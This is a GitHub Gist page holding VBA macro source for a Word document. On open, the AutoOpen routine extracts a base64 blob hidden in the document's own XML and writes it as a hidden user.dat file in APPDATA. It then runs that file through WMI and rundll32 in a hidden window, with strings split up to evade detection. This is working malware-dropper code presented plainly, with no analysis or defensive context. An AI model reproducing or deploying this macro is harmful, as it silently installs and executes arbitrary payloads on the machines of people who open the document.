Skip to content

Instantly share code, notes, and snippets.

Embed
What would you like to do?
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Sub AutoOpen()
Execute
End Sub
Private Function DecodeBase64(base64) As Byte()
Const decodeTable = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"
If 0 <> Len(base64) Mod 4 Then
Exit Function
End If
outputLen = (Len(base64) / 4) * 3
If "=" = Mid(base64, Len(base64), 1) Then
outputLen = outputLen - 1
End If
If "=" = Mid(base64, Len(base64) - 1, 1) Then
outputLen = outputLen - 1
End If
Dim decodedBytes() As Byte
ReDim decodedBytes(outputLen - 1)
outputIndex = 0 [43/1854]
For quartet = 1 To Len(base64) Step 4
groupBase64Number = 0
Const base = 64
realBytesInThisGroup = 3
For i = 0 To 3
inputChar = Mid(base64, quartet + i, 1)
indexInTable = 0
If "=" = inputChar Then
realBytesInThisGroup = realBytesInThisGroup - 1
Else
indexInTable = InStr(1, decodeTable, inputChar, vbBinaryCompare) - 1
End If
If -1 = indexInTable Then
Exit Function
End If
groupBase64Number = (groupBase64Number * base) + indexInTable
Next
groupBase64Number = Hex(groupBase64Number)
'add leading zeroes, lengt of hex = 6:
groupBase64Number = String(6 - Len(groupBase64Number), "0") & groupBase64Number
'split hex number into 3 groups, 2 hex characters each:
decodedBytes(outputIndex) = CByte("&H" & Mid(groupBase64Number, 1, 2))
outputIndex = outputIndex + 1
If realBytesInThisGroup > 1 Then
decodedBytes(outputIndex) = CByte("&H" & Mid(groupBase64Number, 3, 2))
outputIndex = outputIndex + 1
If realBytesInThisGroup > 2 Then
decodedBytes(outputIndex) = CByte("&H" & Mid(groupBase64Number, 5, 2))
outputIndex = outputIndex + 1
End If
End If
Next
DecodeBase64 = decodedBytes
End Function
Private Sub Execute()
Dim Path As String
Dim FileNum As Long
Dim xml() As Byte
Dim bin() As Byte
Const HIDDEN_WINDOW = 0
strComputer = "."
'extract and decode encoded file
xml = ActiveDocument.WordOpenXML
Set xmlParser = CreateObject("Msxml2.DOMDocument")
If Not xmlParser.LoadXML(xml) Then
Exit Sub
End If
Set currNode = xmlParser.DocumentElement
Set selected = currNode.SelectNodes("//HLinks" & "/vt:" & "vector" & "/vt:" & "variant" & "/vt:" & "lpwstr")
If 2 > selected.Length Then
Exit Sub
End If
base64 = selected(1).Text
bin = DecodeBase64(base64)
'save decoded file
Path = Environ("APPDATA") + "\" + "user" + ".dat"
FileNum = FreeFile
If Dir(Path, vbHidden) <> "" Then
Exit Sub
End If
Open Path For Binary Access Write As #FileNum
Put #FileNum, 1, bin
Close #FileNum
SetAttr Path, vbHidden
'execute saved file with WMI
Set objWMIService = GetObject("win" & "mgmts" & ":\\" & strComputer & "\root" & "\cimv2")
Set objStartup = objWMIService.Get("Win32_" & "Process" & "Startup")
Set objConfig = objStartup.SpawnInstance_
objConfig.ShowWindow = HIDDEN_WINDOW
Set objProcess = GetObject("winmgmts:\\" & strComputer & "\root" & "\cimv2" & ":Win32_" & "Process")
objProcess.Create "run" + "dll" + "32" + ".exe " + Path + ", " + "#1", Null, objConfig, intProcessID
End Sub
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment